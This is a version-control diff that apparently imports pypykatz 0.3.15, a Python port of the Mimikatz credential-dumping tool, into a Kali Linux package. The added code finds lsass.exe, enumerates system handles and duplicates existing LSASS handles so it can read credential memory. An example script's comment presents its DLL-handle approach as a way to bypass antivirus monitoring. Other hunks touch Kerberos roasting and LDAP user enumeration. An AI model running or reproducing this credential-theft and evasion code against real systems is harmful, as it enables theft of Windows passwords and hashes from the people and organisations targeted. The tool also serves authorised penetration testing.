Import upstream version 0.3.15
Kali Janitor
3 years ago
0 | MIT License | |
1 | ||
2 | Copyright (c) 2018 | |
3 | ||
4 | Permission is hereby granted, free of charge, to any person obtaining a copy | |
5 | of this software and associated documentation files (the "Software"), to deal | |
6 | in the Software without restriction, including without limitation the rights | |
7 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell | |
8 | copies of the Software, and to permit persons to whom the Software is | |
9 | furnished to do so, subject to the following conditions: | |
10 | ||
11 | The above copyright notice and this permission notice shall be included in all | |
12 | copies or substantial portions of the Software. | |
13 | ||
14 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR | |
15 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, | |
16 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE | |
17 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER | |
18 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, | |
19 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE | |
20 | SOFTWARE. |
0 | include LICENSE README.md |
0 | 0 | Metadata-Version: 1.2 |
1 | 1 | Name: pypykatz |
2 | Version: 0.3.7 | |
2 | Version: 0.3.15 | |
3 | 3 | Summary: Python implementation of Mimikatz |
4 | 4 | Home-page: https://github.com/skelsec/pypykatz |
5 | 5 | Author: Tamas Jos |
6 | Author-email: [email protected] | |
6 | Author-email: [email protected] | |
7 | 7 | License: UNKNOWN |
8 | 8 | Description: UNKNOWN |
9 | 9 | Platform: UNKNOWN |
84 | 84 | |
85 | 85 | dpapi_minidump_group = dpapi_subparsers.add_parser('minidump', help='Dump masterkeys from minidump file') |
86 | 86 | dpapi_minidump_group.add_argument('minidumpfile', help='path to minidump file') |
87 | dpapi_minidump_group.add_argument('-o', '--out-file', help= 'Master and Backup keys will be stored in this file. Easier to handle in other commands.') | |
88 | ||
87 | 89 | |
88 | 90 | dpapi_mastekey_group = dpapi_subparsers.add_parser('masterkey', help='Decrypt masterkey file') |
89 | 91 | dpapi_mastekey_group.add_argument('mkf', help='path to masterkey file') |
3 | 3 | import enum |
4 | 4 | import logging |
5 | 5 | |
6 | from .kernel32 import * | |
7 | from .psapi import * | |
6 | from pypykatz.commons.readers.local.common.kernel32 import * | |
7 | from pypykatz.commons.readers.local.common.psapi import * | |
8 | 8 | |
9 | 9 | class WindowsMinBuild(enum.Enum): |
10 | 10 | WIN_XP = 2500 |
49 | 49 | |
50 | 50 | PROCESS_QUERY_INFORMATION = 0x0400 |
51 | 51 | PROCESS_VM_READ = 0x0010 |
52 | MAXIMUM_ALLOWED = 33554432 | |
52 | 53 | |
53 | 54 | |
54 | 55 | #https://msdn.microsoft.com/en-us/library/windows/desktop/ms683217(v=vs.85).aspx |
74 | 75 | if pid_to_name[pid].lower().find('lsass.exe') != -1: |
75 | 76 | return pid |
76 | 77 | |
77 | raise Exception('Failed to find lsass.exe')⏎ | |
78 | raise Exception('Failed to find lsass.exe') | |
79 | ⏎ |
292 | 292 | |
293 | 293 | |
294 | 294 | class LiveReader: |
295 | def __init__(self): | |
295 | def __init__(self, lsass_process_handle = None): | |
296 | 296 | self.processor_architecture = None |
297 | 297 | self.lsass_process_name = 'lsass.exe' |
298 | self.lsass_process_handle = None | |
298 | self.lsass_process_handle = lsass_process_handle | |
299 | 299 | self.current_position = None |
300 | 300 | self.BuildNumber = None |
301 | 301 | self.modules = [] |
338 | 338 | buildnumber, t = winreg.QueryValueEx(key, 'CurrentBuildNumber') |
339 | 339 | self.BuildNumber = int(buildnumber) |
340 | 340 | |
341 | ||
342 | logging.log(1, 'Searching for lsass.exe') | |
343 | pid = get_lsass_pid() | |
344 | logging.log(1, 'Lsass.exe found at PID %d' % pid) | |
345 | logging.log(1, 'Opening lsass.exe') | |
346 | self.lsass_process_handle = OpenProcess(PROCESS_ALL_ACCESS, False, pid) | |
347 | 341 | if self.lsass_process_handle is None: |
348 | raise Exception('Failed to open lsass.exe Reason: %s' % WinError(get_last_error())) | |
349 | ||
342 | logging.log(1, 'Searching for lsass.exe') | |
343 | pid = get_lsass_pid() | |
344 | logging.log(1, 'Lsass.exe found at PID %d' % pid) | |
345 | logging.log(1, 'Opening lsass.exe') | |
346 | self.lsass_process_handle = OpenProcess(PROCESS_ALL_ACCESS, False, pid) | |
347 | if self.lsass_process_handle is None: | |
348 | raise Exception('Failed to open lsass.exe Reason: %s' % WinError(get_last_error())) | |
349 | else: | |
350 | logging.debug('Using pre-defined handle') | |
350 | 351 | logging.log(1, 'Enumerating modules') |
351 | 352 | module_handles = EnumProcessModules(self.lsass_process_handle) |
352 | 353 | for module_handle in module_handles: |
224 | 224 | t = cred.to_dict() |
225 | 225 | if t['credtype'] != 'dpapi': |
226 | 226 | if t['password'] is not None: |
227 | x = [str(t['credtype']), str(t['domainname']), str(t['username']), '', '', '', '', '', str(t['password'])] | |
227 | x = [str(t['credtype']), str(t['domainname']), str(t['username']), '', '', '', '', '', str(t['password']), ''] | |
228 | 228 | yield 0, x |
229 | 229 | else: |
230 | 230 | t = cred.to_dict() |
205 | 205 | self.Data3 = WORD(reader).value |
206 | 206 | self.Data4 = reader.read(8) |
207 | 207 | self.value = '-'.join([ |
208 | hex(self.Data1)[2:], | |
209 | hex(self.Data2)[2:], | |
210 | hex(self.Data3)[2:], | |
211 | hex(int.from_bytes(self.Data4[:2], byteorder = 'big', signed = False))[2:], | |
212 | hex(int.from_bytes(self.Data4[2:], byteorder = 'big', signed = False))[2:] | |
208 | hex(self.Data1)[2:].zfill(8), | |
209 | hex(self.Data2)[2:].zfill(4), | |
210 | hex(self.Data3)[2:].zfill(4), | |
211 | hex(int.from_bytes(self.Data4[:2], byteorder = 'big', signed = False))[2:].zfill(4), | |
212 | hex(int.from_bytes(self.Data4[2:], byteorder = 'big', signed = False))[2:].zfill(12) | |
213 | 213 | ]) |
214 | 214 | |
215 | 215 | class PLIST_ENTRY(POINTER): |
221 | 221 | self.location = reader.tell() |
222 | 222 | self.Flink = PLIST_ENTRY(reader) |
223 | 223 | self.Blink = PLIST_ENTRY(reader) |
224 | ⏎ | |
224 |
702 | 702 | ("MaximumLength", USHORT), |
703 | 703 | ("Buffer", PVOID), |
704 | 704 | ] |
705 | ||
706 | def getString(self): | |
707 | return ctypes.string_at(self.Buffer, self.Length).decode('utf-16-le') | |
705 | 708 | |
706 | 709 | # From MSDN: |
707 | 710 | # |
64 | 64 | WRITE_WATCH_FLAG_RESET = 0x01 |
65 | 65 | FILE_MAP_ALL_ACCESS = 0xF001F |
66 | 66 | |
67 | PROCESS_DUP_HANDLE = 0x0040 | |
68 | ||
67 | 69 | class UserModeHandle (HANDLE): |
68 | 70 | """ |
69 | 71 | Base class for non-kernel handles. Generally this means they are closed |
341 | 343 | _GetCurrentProcessId.argtypes = [] |
342 | 344 | _GetCurrentProcessId.restype = DWORD |
343 | 345 | return _GetCurrentProcessId() |
346 | ||
347 | # HANDLE WINAPI GetCurrentProcess(void); | |
348 | def GetCurrentProcess(): | |
349 | ## return 0xFFFFFFFFFFFFFFFFL | |
350 | _GetCurrentProcess = windll.kernel32.GetCurrentProcess | |
351 | _GetCurrentProcess.argtypes = [] | |
352 | _GetCurrentProcess.restype = HANDLE | |
353 | return _GetCurrentProcess() | |
344 | 354 | |
345 | 355 | # BOOL WINAPI QueryFullProcessImageName( |
346 | 356 | # __in HANDLE hProcess, |
3 | 3 | import enum |
4 | 4 | import logging |
5 | 5 | |
6 | from pypykatz import logger | |
7 | from .ntdll import * | |
6 | 8 | from .kernel32 import * |
7 | 9 | from .psapi import * |
8 | 10 | |
74 | 76 | if pid_to_name[pid].lower().find('lsass.exe') != -1: |
75 | 77 | return pid |
76 | 78 | |
77 | raise Exception('Failed to find lsass.exe')⏎ | |
79 | raise Exception('Failed to find lsass.exe') | |
80 | ||
81 | def enum_lsass_handles(): | |
82 | #searches for open LSASS process handles in all processes | |
83 | # you should be having SE_DEBUG enabled at this point | |
84 | RtlAdjustPrivilege(20) | |
85 | ||
86 | lsass_handles = [] | |
87 | sysinfohandles = NtQuerySystemInformation(16) | |
88 | for pid in sysinfohandles: | |
89 | if pid == 4: | |
90 | continue | |
91 | #if pid != GetCurrentProcessId(): | |
92 | # continue | |
93 | for syshandle in sysinfohandles[pid]: | |
94 | #print(pid) | |
95 | try: | |
96 | pHandle = OpenProcess(PROCESS_DUP_HANDLE, False, pid) | |
97 | except Exception as e: | |
98 | logger.debug('Error opening process %s Reason: %s' % (pid, e)) | |
99 | continue | |
100 | ||
101 | try: | |
102 | dupHandle = NtDuplicateObject(pHandle, syshandle.Handle, GetCurrentProcess(), PROCESS_QUERY_INFORMATION|PROCESS_VM_READ) | |
103 | #print(dupHandle) | |
104 | except Exception as e: | |
105 | logger.debug('Failed to duplicate object! PID: %s HANDLE: %s' % (pid, hex(syshandle.Handle))) | |
106 | continue | |
107 | ||
108 | oinfo = NtQueryObject(dupHandle, ObjectTypeInformation) | |
109 | if oinfo.Name.getString() == 'Process': | |
110 | try: | |
111 | pname = QueryFullProcessImageNameW(dupHandle) | |
112 | if pname.lower().find('lsass.exe') != -1: | |
113 | logger.debug('Found open handle to lsass! PID: %s HANDLE: %s' % (pid, hex(syshandle.Handle))) | |
114 | #print('%s : %s' % (pid, pname)) | |
115 | lsass_handles.append((pid, dupHandle)) | |
116 | except Exception as e: | |
117 | logger.debug('Failed to obtain the path of the process! PID: %s' % pid) | |
118 | continue | |
119 | ||
120 | return lsass_handles | |
121 | ⏎ |
2 | 2 | from ctypes import windll |
3 | 3 | from ctypes.wintypes import ULONG, BOOL,LONG |
4 | 4 | |
5 | from .defines import * | |
5 | from pypykatz.commons.winapi.local.function_defs.defines import * | |
6 | ||
7 | SystemHandleInformation = 16 | |
8 | ObjectBasicInformation = 0 | |
9 | ObjectNameInformation = 1 | |
10 | ObjectTypeInformation = 2 | |
11 | ||
12 | ||
13 | POOL_TYPE = ctypes.c_int | |
14 | NonPagedPool = 1 | |
15 | PagedPool = 2 | |
16 | NonPagedPoolMustSucceed = 3 | |
17 | DontUseThisType = 4 | |
18 | NonPagedPoolCacheAligned = 5 | |
19 | PagedPoolCacheAligned = 6 | |
20 | NonPagedPoolCacheAlignedMustS = 7 | |
21 | ||
22 | # https://docs.microsoft.com/en-us/windows/win32/api/winnt/ns-winnt-generic_mapping | |
23 | class GENERIC_MAPPING(Structure): | |
24 | _fields_ = [ | |
25 | ("GenericRead", ACCESS_MASK ), | |
26 | ("GenericWrite", ACCESS_MASK ), | |
27 | ("GenericExecute", ACCESS_MASK ), | |
28 | ("GenericAll", ACCESS_MASK ), | |
29 | ] | |
30 | ||
31 | PGENERIC_MAPPING = POINTER(GENERIC_MAPPING) | |
32 | ||
33 | class SYSTEM_HANDLE(Structure): | |
34 | _fields_ = [ | |
35 | ("ProcessId", ULONG), | |
36 | ("ObjectTypeNumber", BYTE), | |
37 | ("Flags", BYTE), | |
38 | ("Handle", USHORT), | |
39 | ("Object", PVOID), | |
40 | ("GrantedAccess", ACCESS_MASK), | |
41 | ] | |
42 | ||
43 | PSYSTEM_HANDLE = POINTER(SYSTEM_HANDLE) | |
44 | ||
45 | #class SYSTEM_HANDLE_INFORMATION(Structure): | |
46 | # _fields_ = [ | |
47 | # ("HandleCount", ULONG), | |
48 | # ("Handles", SYSTEM_HANDLE), #not just one handle | |
49 | # ] | |
50 | # | |
51 | #PSYSTEM_HANDLE_INFORMATION = POINTER(SYSTEM_HANDLE_INFORMATION) | |
52 | ||
53 | class OBJECT_TYPE_INFORMATION(Structure): | |
54 | _fields_ = [ | |
55 | ("Name", UNICODE_STRING), | |
56 | ("TotalNumberOfObjects", ULONG), | |
57 | ("TotalNumberOfHandles", ULONG), | |
58 | ("TotalPagedPoolUsage", ULONG), | |
59 | ("TotalNonPagedPoolUsage", ULONG), | |
60 | ("TotalNamePoolUsage", ULONG), | |
61 | ("TotalHandleTableUsage", ULONG), | |
62 | ("HighWaterNumberOfObjects", ULONG), | |
63 | ("HighWaterNumberOfHandles", ULONG), | |
64 | ("HighWaterPagedPoolUsage", ULONG), | |
65 | ("HighWaterNonPagedPoolUsage", ULONG), | |
66 | ("HighWaterNamePoolUsage", ULONG), | |
67 | ("HighWaterHandleTableUsage", ULONG), | |
68 | ("GenericMapping", GENERIC_MAPPING), | |
69 | ("ValidAccess", ULONG), | |
70 | ("SecurityRequired", BOOLEAN), | |
71 | ("MaintainHandleCount", BOOLEAN), | |
72 | ("MaintainTypeList", USHORT), | |
73 | ("PoolType", POOL_TYPE), | |
74 | ("PagedPoolUsage", ULONG), | |
75 | ("NonPagedPoolUsage", ULONG), | |
76 | ] | |
77 | ||
78 | POBJECT_TYPE_INFORMATION = POINTER(OBJECT_TYPE_INFORMATION) | |
79 | ||
6 | 80 | |
7 | 81 | # https://source.winehq.org/WineAPI/RtlAdjustPrivilege.html |
8 | 82 | # BOOL WINAPI RtlAdjustPrivilege( |
27 | 101 | if status != 0: |
28 | 102 | raise Exception('Failed call to RtlAdjustPrivilege! Status: %s' % status) |
29 | 103 | |
30 | return Enabled.value⏎ | |
104 | return Enabled.value | |
105 | ||
106 | # https://docs.microsoft.com/en-us/windows/win32/api/winternl/nf-winternl-ntquerysysteminformation | |
107 | def NtQuerySystemInformation(info_type): | |
108 | _NtQuerySystemInformation = windll.ntdll.NtQuerySystemInformation | |
109 | _NtQuerySystemInformation.argtypes = [ULONG, PVOID, ULONG, PULONG] | |
110 | _NtQuerySystemInformation.restype = ULONG | |
111 | ||
112 | handleinfos = {} | |
113 | ||
114 | if info_type != 16: | |
115 | raise Exception('info_type only the value 16 is supported!') | |
116 | ||
117 | size = DWORD(0x10) | |
118 | data = ctypes.create_string_buffer(size.value) | |
119 | while True: | |
120 | #_NtQuerySystemInformation returns an incorrect expected size... | |
121 | size = DWORD(size.value*2) | |
122 | data = ctypes.create_string_buffer(size.value) | |
123 | status = _NtQuerySystemInformation(info_type, ctypes.byref(data), size, ctypes.byref(size)) | |
124 | if status == 0: | |
125 | break | |
126 | if status != 0xC0000004: | |
127 | raise Exception('NtQuerySystemInformation returned %s' % hex(status)) | |
128 | ||
129 | status = _NtQuerySystemInformation(info_type, ctypes.byref(data), size, ctypes.byref(size)) | |
130 | ||
131 | data_bytes = bytearray(data.raw[:size.value]) | |
132 | ||
133 | hc = ULONG.from_buffer(data_bytes) | |
134 | ||
135 | class SYSTEM_HANDLE_INFORMATION(Structure): | |
136 | _fields_ = [ | |
137 | ("HandleCount", ULONG), | |
138 | ("Handles", SYSTEM_HANDLE*hc.value), #not just one handle | |
139 | ] | |
140 | ||
141 | ||
142 | syshandleinfo = SYSTEM_HANDLE_INFORMATION.from_buffer(data_bytes) | |
143 | ||
144 | for i in range(syshandleinfo.HandleCount): | |
145 | if not syshandleinfo.Handles[i].ProcessId in handleinfos: | |
146 | handleinfos[syshandleinfo.Handles[i].ProcessId] = [] | |
147 | handleinfos[syshandleinfo.Handles[i].ProcessId].append(syshandleinfo.Handles[i]) | |
148 | ||
149 | return handleinfos | |
150 | ||
151 | ||
152 | def NtDuplicateObject(SourceProcessHandle, SourceHandle, TargetProcessHandle, DesiredAccess = 0): | |
153 | """ | |
154 | privilige_id: int | |
155 | """ | |
156 | _NtDuplicateObject = windll.ntdll.NtDuplicateObject | |
157 | _NtDuplicateObject.argtypes = [HANDLE, HANDLE, HANDLE, PHANDLE, ACCESS_MASK, ULONG, ULONG] | |
158 | _NtDuplicateObject.restype = ULONG | |
159 | ||
160 | ||
161 | ||
162 | oHandle = HANDLE() | |
163 | status = _NtDuplicateObject(SourceProcessHandle, SourceHandle, TargetProcessHandle, ctypes.byref(oHandle), DesiredAccess,0,0) | |
164 | if status != 0: | |
165 | raise Exception('Failed call to NtDuplicateObject! Status: %s' % status) | |
166 | ||
167 | return oHandle | |
168 | ||
169 | def NtQueryObject(ObjectHandle, ObjectInformationClass): | |
170 | """ | |
171 | privilige_id: int | |
172 | """ | |
173 | _NtQueryObject = windll.ntdll.NtQueryObject | |
174 | _NtQueryObject.argtypes = [HANDLE, ULONG, PVOID, ULONG, PULONG] | |
175 | _NtQueryObject.restype = ULONG | |
176 | ||
177 | #if ObjectInformationClass not in [ObjectNameInformation, ObjectTypeInformation]: | |
178 | if ObjectInformationClass != ObjectTypeInformation: | |
179 | raise Exception('Unsupported ObjectInformationClass value %s.' % ObjectInformationClass ) | |
180 | ||
181 | size = ULONG(0x10) | |
182 | oinfo_data = ctypes.create_string_buffer(size.value) | |
183 | ||
184 | while True: | |
185 | oinfo_data = ctypes.create_string_buffer(size.value) | |
186 | status = _NtQueryObject(ObjectHandle, ObjectInformationClass, oinfo_data, size, ctypes.byref(size)) | |
187 | if status == 0xc0000004: | |
188 | continue | |
189 | if status != 0: | |
190 | raise Exception('Failed call to NtDuplicateObject! Status: %s' % hex(status)) | |
191 | ||
192 | break | |
193 | ||
194 | if ObjectInformationClass == ObjectNameInformation: | |
195 | raise NotImplementedError('TODO: implement me when needed!') | |
196 | elif ObjectInformationClass == ObjectTypeInformation: | |
197 | oinfo = OBJECT_TYPE_INFORMATION.from_buffer(bytearray(oinfo_data.raw[:size.value])) | |
198 | ||
199 | return oinfo | |
200 | ⏎ |
160 | 160 | nt_hash = bytes.fromhex(nt_hash) |
161 | 161 | key1 = None |
162 | 162 | |
163 | if password: | |
163 | if password or password == '': | |
164 | 164 | md4 = hashlib.new('md4') |
165 | 165 | md4.update(password.encode('utf-16le')) |
166 | 166 | nt_hash = md4.digest() |
0 | ||
1 | # | |
2 | # In case you happen to have a DLL that has an export which returns a handle to LSASS process | |
3 | # You can use this example to load such DLL via ctypes and call pypykatz using said handle | |
4 | # Might be interesting to bypass AV monitoring openprocess on LSASS | |
5 | # | |
6 | ||
7 | from ctypes import windll, c_void_p | |
8 | from pypykatz.pypykatz import pypykatz | |
9 | ||
10 | dll_path = '' | |
11 | ||
12 | def get_lsass_handle(): | |
13 | your_dll = windll.LoadLibrary(dll_path) | |
14 | _your_function = your_dll.your_function | |
15 | _your_function.argtypes = [] #I guess no args | |
16 | _your_function.restype = c_void_p #this is basically a handle | |
17 | ||
18 | phandle = _your_function() | |
19 | ||
20 | return phandle | |
21 | ||
22 | ||
23 | phandle = get_lsass_handle() | |
24 | res = pypykatz.go_live_phandle(phandle) | |
25 | print(str(res)) |
36 | 36 | |
37 | 37 | def run_live(self, args): |
38 | 38 | from winsspi.sspi import KerberoastSSPI |
39 | from minikerberos.security import TGSTicket2hashcat, APREPRoast | |
40 | from minikerberos.utils import TGTTicket2hashcat | |
41 | from minikerberos.communication import KerberosSocket | |
42 | from minikerberos.common import KerberosTarget | |
39 | from minikerberos.common.utils import TGSTicket2hashcat, TGTTicket2hashcat | |
40 | from minikerberos.security import APREPRoast | |
41 | from minikerberos.network.clientsocket import KerberosClientSocket | |
42 | from minikerberos.common.target import KerberosTarget | |
43 | 43 | from pypykatz.commons.winapi.machine import LiveMachine |
44 | 44 | |
45 | 45 | if not args.target_file and not args.target_user: |
112 | 112 | dcip = args.dc_ip |
113 | 113 | if args.dc_ip is None: |
114 | 114 | dcip = machine.get_domain() |
115 | ks = KerberosSocket( dcip ) | |
115 | ks = KerberosClientSocket( dcip ) | |
116 | 116 | ar = APREPRoast(ks) |
117 | 117 | results = ar.run(targets) |
118 | 118 |
41 | 41 | |
42 | 42 | |
43 | 43 | def run_live(self, args): |
44 | from msldap.core import MSLDAPCredential, MSLDAPTarget, MSLDAPConnection | |
45 | from msldap.ldap_objects import MSADUser | |
46 | from msldap import logger as msldaplogger | |
47 | from pypykatz.commons.winapi.machine import LiveMachine | |
48 | ||
49 | machine = LiveMachine() | |
50 | ||
51 | if args.credential: | |
52 | creds = MSLDAPCredential.from_connection_string(args.credential) | |
53 | else: | |
54 | creds = MSLDAPCredential.get_dummy_sspi() | |
55 | ||
56 | if args.dc_ip: | |
57 | target = MSLDAPTarget(args.dc_ip) | |
58 | else: | |
59 | target = MSLDAPTarget(machine.get_domain()) | |
60 | ||
61 | connection = MSLDAPConnection(creds, target) | |
62 | connection.connect() | |
63 | ||
64 | try: | |
65 | adinfo = connection.get_ad_info() | |
66 | domain = adinfo.distinguishedName.replace('DC=','').replace(',','.') | |
67 | except Exception as e: | |
68 | logging.warning('[LDAP] Failed to get domain name from LDAP server. This is not normal, but happens. Reason: %s' % e) | |
69 | domain = machine.get_domain() | |
70 | ||
71 | if args.cmd == 'spn': | |
72 | logging.debug('Enumerating SPN user accounts...') | |
73 | cnt = 0 | |
74 | if args.out_file: | |
75 | with open(os.path.join(basefolder,basefile+'_spn_users.txt'), 'w', newline='') as f: | |
76 | for user in connection.get_all_service_user_objects(): | |
77 | cnt += 1 | |
78 | f.write('%s/%s\r\n' % (domain, user.sAMAccountName)) | |
79 | ||
80 | else: | |
81 | print('[+] SPN users') | |
82 | for user in connection.get_all_service_user_objects(): | |
83 | cnt += 1 | |
84 | print('%s/%s' % (domain, user.sAMAccountName)) | |
85 | ||
86 | logging.debug('Enumerated %d SPN user accounts' % cnt) | |
87 | ||
88 | elif args.cmd == 'asrep': | |
89 | logging.debug('Enumerating ASREP user accounts...') | |
90 | ctr = 0 | |
91 | if args.out_file: | |
92 | with open(os.path.join(basefolder,basefile+'_asrep_users.txt'), 'w', newline='') as f: | |
93 | for user in connection.get_all_knoreq_user_objects(): | |
94 | ctr += 1 | |
95 | f.write('%s/%s\r\n' % (domain, user.sAMAccountName)) | |
96 | else: | |
97 | print('[+] ASREP users') | |
98 | for user in connection.get_all_knoreq_user_objects(): | |
99 | ctr += 1 | |
100 | print('%s/%s' % (domain, user.sAMAccountName)) | |
101 | ||
102 | logging.debug('Enumerated %d ASREP user accounts' % ctr) | |
103 | ||
104 | elif args.cmd == 'dump': | |
105 | logging.debug('Enumerating ALL user accounts, this will take some time depending on the size of the domain') | |
106 | ctr = 0 | |
107 | attrs = args.attrs if args.attrs is not None else MSADUser.TSV_ATTRS | |
108 | if args.out_file: | |
109 | with open(os.path.join(basefolder,basefile+'_ldap_users.tsv'), 'w', newline='', encoding ='utf8') as f: | |
110 | writer = csv.writer(f, delimiter = '\t') | |
111 | writer.writerow(attrs) | |
112 | for user in connection.get_all_user_objects(): | |
113 | ctr += 1 | |
114 | writer.writerow(user.get_row(attrs)) | |
115 | ||
116 | else: | |
117 | logging.debug('Are you sure about this?') | |
118 | print('[+] Full user dump') | |
119 | print('\t'.join(attrs)) | |
120 | for user in connection.get_all_user_objects(): | |
121 | ctr += 1 | |
122 | print('\t'.join([str(x) for x in user.get_row(attrs)])) | |
123 | ||
124 | ||
125 | logging.debug('Enumerated %d user accounts' % ctr) | |
126 | ||
127 | elif args.cmd == 'custom': | |
128 | if not args.filter: | |
129 | raise Exception('Custom LDAP search requires the search filter to be specified!') | |
130 | if not args.attrs: | |
131 | raise Exception('Custom LDAP search requires the attributes to be specified!') | |
132 | ||
133 | logging.debug('Perforing search on the AD with the following filter: %s' % args.filter) | |
134 | logging.debug('Search will contain the following attributes: %s' % ','.join(args.attrs)) | |
135 | ctr = 0 | |
136 | ||
137 | if args.out_file: | |
138 | with open(os.path.join(basefolder,basefile+'_ldap_custom.tsv'), 'w', newline='') as f: | |
139 | writer = csv.writer(f, delimiter = '\t') | |
140 | writer.writerow(args.attrs) | |
141 | for obj in connection.pagedsearch(args.filter, args.attrs): | |
142 | ctr += 1 | |
143 | writer.writerow([str(obj['attributes'].get(x, 'N/A')) for x in args.attrs]) | |
144 | ||
145 | else: | |
146 | for obj in connection.pagedsearch(args.filter, args.attrs): | |
147 | ctr += 1 | |
148 | print('\t'.join([str(obj['attributes'].get(x, 'N/A')) for x in args.attrs])) | |
149 | ||
150 | logging.debug('Custom search yielded %d results!' % ctr) | |
44 | raise Exception('Coming soon...') | |
151 | 45 | |
152 | 46 | def run(self, args): |
153 | from msldap.core import MSLDAPCredential, MSLDAPTarget, MSLDAPConnection | |
154 | from msldap.ldap_objects import MSADUser | |
155 | from msldap import logger as msldaplogger | |
156 | ||
157 | if not args.credential: | |
158 | raise Exception('You must provide credentials when using ldap in platform independent mode.') | |
159 | ||
160 | creds = MSLDAPCredential.from_connection_string(args.credential) | |
161 | target = MSLDAPTarget.from_connection_string(args.credential) | |
162 | ||
163 | connection = MSLDAPConnection(creds, target) | |
164 | connection.connect() | |
165 | ||
166 | try: | |
167 | adinfo = connection.get_ad_info() | |
168 | domain = adinfo.distinguishedName.replace('DC=','').replace(',','.') | |
169 | except Exception as e: | |
170 | logging.warning('[LDAP] Failed to get domain name from LDAP server. This is not normal, but happens. Reason: %s' % e) | |
171 | domain = machine.get_domain() | |
172 | ||
173 | if args.cmd == 'spn': | |
174 | logging.debug('Enumerating SPN user accounts...') | |
175 | cnt = 0 | |
176 | if args.out_file: | |
177 | with open(os.path.join(basefolder,basefile+'_spn_users.txt'), 'w', newline='') as f: | |
178 | for user in connection.get_all_service_user_objects(): | |
179 | cnt += 1 | |
180 | f.write('%s/%s\r\n' % (domain, user.sAMAccountName)) | |
181 | ||
182 | else: | |
183 | print('[+] SPN users') | |
184 | for user in connection.get_all_service_user_objects(): | |
185 | cnt += 1 | |
186 | print('%s/%s' % (domain, user.sAMAccountName)) | |
187 | ||
188 | logging.debug('Enumerated %d SPN user accounts' % cnt) | |
189 | ||
190 | elif args.cmd == 'asrep': | |
191 | logging.debug('Enumerating ASREP user accounts...') | |
192 | ctr = 0 | |
193 | if args.out_file: | |
194 | with open(os.path.join(basefolder,basefile+'_asrep_users.txt'), 'w', newline='') as f: | |
195 | for user in connection.get_all_knoreq_user_objects(): | |
196 | ctr += 1 | |
197 | f.write('%s/%s\r\n' % (domain, user.sAMAccountName)) | |
198 | else: | |
199 | print('[+] ASREP users') | |
200 | for user in connection.get_all_knoreq_user_objects(): | |
201 | ctr += 1 | |
202 | print('%s/%s' % (domain, user.sAMAccountName)) | |
203 | ||
204 | logging.debug('Enumerated %d ASREP user accounts' % ctr) | |
205 | ||
206 | elif args.cmd == 'dump': | |
207 | logging.debug('Enumerating ALL user accounts, this will take some time depending on the size of the domain') | |
208 | ctr = 0 | |
209 | attrs = args.attrs if args.attrs is not None else MSADUser.TSV_ATTRS | |
210 | if args.out_file: | |
211 | with open(os.path.join(basefolder,basefile+'_ldap_users.tsv'), 'w', newline='', encoding ='utf8') as f: | |
212 | writer = csv.writer(f, delimiter = '\t') | |
213 | writer.writerow(attrs) | |
214 | for user in connection.get_all_user_objects(): | |
215 | ctr += 1 | |
216 | writer.writerow(user.get_row(attrs)) | |
217 | ||
218 | else: | |
219 | logging.debug('Are you sure about this?') | |
220 | print('[+] Full user dump') | |
221 | print('\t'.join(attrs)) | |
222 | for user in connection.get_all_user_objects(): | |
223 | ctr += 1 | |
224 | print('\t'.join([str(x) for x in user.get_row(attrs)])) | |
225 | ||
226 | ||
227 | logging.debug('Enumerated %d user accounts' % ctr) | |
228 | ||
229 | elif args.cmd == 'custom': | |
230 | if not args.filter: | |
231 | raise Exception('Custom LDAP search requires the search filter to be specified!') | |
232 | if not args.attrs: | |
233 | raise Exception('Custom LDAP search requires the attributes to be specified!') | |
234 | ||
235 | logging.debug('Perforing search on the AD with the following filter: %s' % args.filter) | |
236 | logging.debug('Search will contain the following attributes: %s' % ','.join(args.attrs)) | |
237 | ctr = 0 | |
238 | ||
239 | if args.out_file: | |
240 | with open(os.path.join(basefolder,basefile+'_ldap_custom.tsv'), 'w', newline='') as f: | |
241 | writer = csv.writer(f, delimiter = '\t') | |
242 | writer.writerow(args.attrs) | |
243 | for obj in connection.pagedsearch(args.filter, args.attrs): | |
244 | ctr += 1 | |
245 | writer.writerow([str(obj['attributes'].get(x, 'N/A')) for x in args.attrs]) | |
246 | ||
247 | else: | |
248 | for obj in connection.pagedsearch(args.filter, args.attrs): | |
249 | ctr += 1 | |
250 | print('\t'.join([str(obj['attributes'].get(x, 'N/A')) for x in args.attrs])) | |
251 | ||
252 | logging.debug('Custom search yielded %d results!' % ctr) | |
47 | raise Exception('Coming soon...') | |
253 | 48 | ⏎ |
28 | 28 | live_group.add_argument('-o', '--outfile', help = 'Save results to file (you can specify --json for json file, or text format will be written)') |
29 | 29 | live_group.add_argument('-k', '--kerberos-dir', help = 'Save kerberos tickets to a directory.') |
30 | 30 | live_group.add_argument('-g', '--grep', action='store_true', help = 'Print credentials in greppable format') |
31 | live_group.add_argument('--method', choices = ['procopen', 'handledup'], default = 'procopen', help = 'Print credentials in greppable format') | |
31 | 32 | |
32 | 33 | group = parser.add_parser('lsa', help='Get secrets from memory dump') |
33 | 34 | group.add_argument('cmd', choices=['minidump','rekall']) |
143 | 144 | if args.module == 'lsa': |
144 | 145 | filename = 'live' |
145 | 146 | try: |
146 | mimi = pypykatz.go_live() | |
147 | if args.method == 'procopen': | |
148 | mimi = pypykatz.go_live() | |
149 | elif args.method == 'handledup': | |
150 | mimi = pypykatz.go_handledup() | |
151 | if mimi is None: | |
152 | raise Exception('HANDLEDUP failed to bring any results!') | |
147 | 153 | results['live'] = mimi |
148 | 154 | except Exception as e: |
149 | 155 | files_with_error.append(filename) |
91 | 91 | self.log('Looking for main struct signature in memory...') |
92 | 92 | fl = self.reader.find_in_module('lsasrv.dll', self.decryptor_template.signature) |
93 | 93 | if len(fl) == 0: |
94 | logging.warning('signature not found! %s' % self.decryptor_template.signature.hex()) | |
94 | logging.debug('signature not found! %s' % self.decryptor_template.signature.hex()) | |
95 | 95 | raise Exception('LSA signature not found!') |
96 | 96 | |
97 | 97 | self.log('Found candidates on the following positions: %s' % ' '.join(hex(x) for x in fl)) |
